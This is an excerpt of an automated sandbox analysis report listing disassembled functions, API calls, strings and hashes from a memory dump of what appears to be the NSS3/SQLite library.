database corruption, xrefs: 6C5AFD6E, 6C5AFE30
%s at line %d of [%.10s], xrefs: 6C5AFD73, 6C5AFE35

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction ID: f51dd1af0e57864da03c808aa1962f136c4f45764924459c4cb7010102f4f590
Opcode Fuzzy Hash: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction Fuzzy Hash: AB51AF71A00205CFDB04CFAACD90AAEB7B1EF48308F144169EA05AB752E731ED55CBA4

Function 6C6F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F2FFD
sqlite3_initialize.NSS3 ref: 6C6F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6F3032
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F3073
sqlite3_free.NSS3(?), ref: 6C6F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6F30BB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction ID: ee17ea112882bd4e3fd9582e277fa73bbb4410b6b61480bac78dda58f21c5e30
Opcode Fuzzy Hash: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction Fuzzy Hash: 5E41C171600606ABDB00CF25D884A8AB7A6FF44368F148639EC2987B40E731F956CBD6

Function 6C638CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C64124D,00000001), ref: 6C638D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C64124D,00000001), ref: 6C638D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D73
PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D8C

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638DBA

Strings

KRAM, xrefs: 6C638CF9
KRAM, xrefs: 6C638D3E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction ID: 410fec276d5cb835b1213d6794bf474c30f0ad7bd641f4142e78fd2470936bee
Opcode Fuzzy Hash: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction Fuzzy Hash: F9218DB1A046218FCB01EF38C48469AB7F0FF49308F15A96AD89CC7715DB34E841CB95

Function 6C730ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction ID: 11d3db6a1e998f167e5b61300dcbbd3d6a1100792fbdc1f13f436da6eb0fa936
Opcode Fuzzy Hash: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction Fuzzy Hash: BE01C0B6900128ABDF01AF64DE4989B3F3DEF46368B004075FD0987B12D631E91087E2

Function 6C711C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=al,?,?,6C614E1D), ref: 6C711C8A
sqlite3_free.NSS3(00000000), ref: 6C711CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6C711C85
a generated column, xrefs: 6C711C6C
w=al, xrefs: 6C711C44
a CHECK constraint, xrefs: 6C711C76, 6C711C81
an index, xrefs: 6C711C67

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=al
API String ID: 1840970956-2538564091
Opcode ID: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction ID: 907e8cfbbc4660655b70a1ebca924529beaaf3d78dbe201b660b11b892566211
Opcode Fuzzy Hash: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction Fuzzy Hash: 3D0124B1A001005BD700BE68D90297273E5EFC638CB55487DEC489BB02EE22EC67C755

Function 6C6F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4DE0

Strings

misuse, xrefs: 6C6F4DD5
API call with %s database connection pointer, xrefs: 6C6F4DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4DCB
invalid, xrefs: 6C6F4DB8
%s at line %d of [%.10s], xrefs: 6C6F4DDA

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction ID: 25aeabc8a4b8ebb6030d21e45147a00179dda7edac5796d6d1cf45a9ddcd5a42
Opcode Fuzzy Hash: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction Fuzzy Hash: DBF05921E157286BE7004015CF21FE233DA4F01329F8709B0ED247BE53DA46BDA182E8

Function 6C6F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4E4D

Strings

misuse, xrefs: 6C6F4E42
API call with %s database connection pointer, xrefs: 6C6F4E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4E38
invalid, xrefs: 6C6F4E25
%s at line %d of [%.10s], xrefs: 6C6F4E47

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction ID: 630b6a8f0424df66b846e5a4210607ad2a4616c7526a85d9377b68d7da81a8d3
Opcode Fuzzy Hash: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction Fuzzy Hash: A0F09E20F456182BE70002259F11FE3338B4741329F8A44B0EE2437E82CA49AE7302D9

Function 6C660C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C660CB3

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DEC

Part of subcall function 6C680F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
Part of subcall function 6C680F10: malloc.MOZGLUE(00000001), ref: 6C680F30
Part of subcall function 6C680F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000), ref: 6C660E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000), ref: 6C660E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E79

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Part of subcall function 6C63B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C641397,00000000,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1CB
Part of subcall function 6C63B1A0: free.MOZGLUE(5B5F5EC0,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1D2

Part of subcall function 6C6389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A04
Part of subcall function 6C6389E0: EnterCriticalSection.KERNEL32(?), ref: 6C638A15
Part of subcall function 6C6389E0: memset.VCRUNTIME140(6C6388AE,00000000,00000132), ref: 6C638A27
Part of subcall function 6C6389E0: PR_Unlock.NSS3(?), ref: 6C638A35

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction ID: 39b7196ebf84d0f931294fb287f8cba17484f4526377c9ec8d8790d0a7a74f90
Opcode Fuzzy Hash: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction Fuzzy Hash: 7B5194B6E002106FEB019F65DC81AAB37A8AF46318F154534ED0997B12F731ED1986AF

Function 6C616E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C616ED8
sqlite3_value_text.NSS3(?,?), ref: 6C616EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C616FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C616FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C616FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C617010
sqlite3_value_blob.NSS3(?,?), ref: 6C61701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C617052

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction ID: a95318b8f6774e5796a6997aa557d7f95aa8ce676bec8141d78a1cc6e5d92d85
Opcode Fuzzy Hash: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction Fuzzy Hash: 9161AFB5E192098FDB00CF69C8407EEB7B2EF8530AF284165D815ABB51E731DC15CB99

Function 6C66CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C66CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6C66CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C66C8CF,?,?,?), ref: 6C66CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6C66C8CF,?,?,?), ref: 6C66CB31

Part of subcall function 6C661490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6C66CB40,?,00000000), ref: 6C6614A1
Part of subcall function 6C661490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C66C8CF,?), ref: 6C6614C7
Part of subcall function 6C661490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6614E4
Part of subcall function 6C661490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C6614F5

PR_Unlock.NSS3(?), ref: 6C66CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C66C8CF), ref: 6C66CBE2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: c15c7788c186d88c7829025a17c3da74aa860bb8fc63e678642f9cdc6de45d12
Instruction ID: 40f17846b9c64b9dd3b67ec845cde5c2b2f9e4b0a34d0e598a68887d5ccd3da0
Opcode Fuzzy Hash: c15c7788c186d88c7829025a17c3da74aa860bb8fc63e678642f9cdc6de45d12
Instruction Fuzzy Hash: 86516F71E00509AFDF00DFA9D880AEEB7B4BF09358F144165E905A7B11E731E964CBAA

Function 6C688F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C687313), ref: 6C688FBB

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C687313), ref: 6C689012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C687313), ref: 6C68903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C68909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890F1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C687313), ref: 6C68906B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C687313), ref: 6C689128

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5a82c090b3c35340ac15e50990554db0e619f223c76ba1305897fd3d4d90621a
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1051C071A062019FEB10CF6ADC84B26B3F9AF4531CF154029E955D7B61EB32E800CBB9

Function 6C639C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C638850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
Part of subcall function 6C638850: PR_NewLock.NSS3 ref: 6C638874
Part of subcall function 6C638850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

PR_NewLock.NSS3 ref: 6C639CAD

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C639CE8
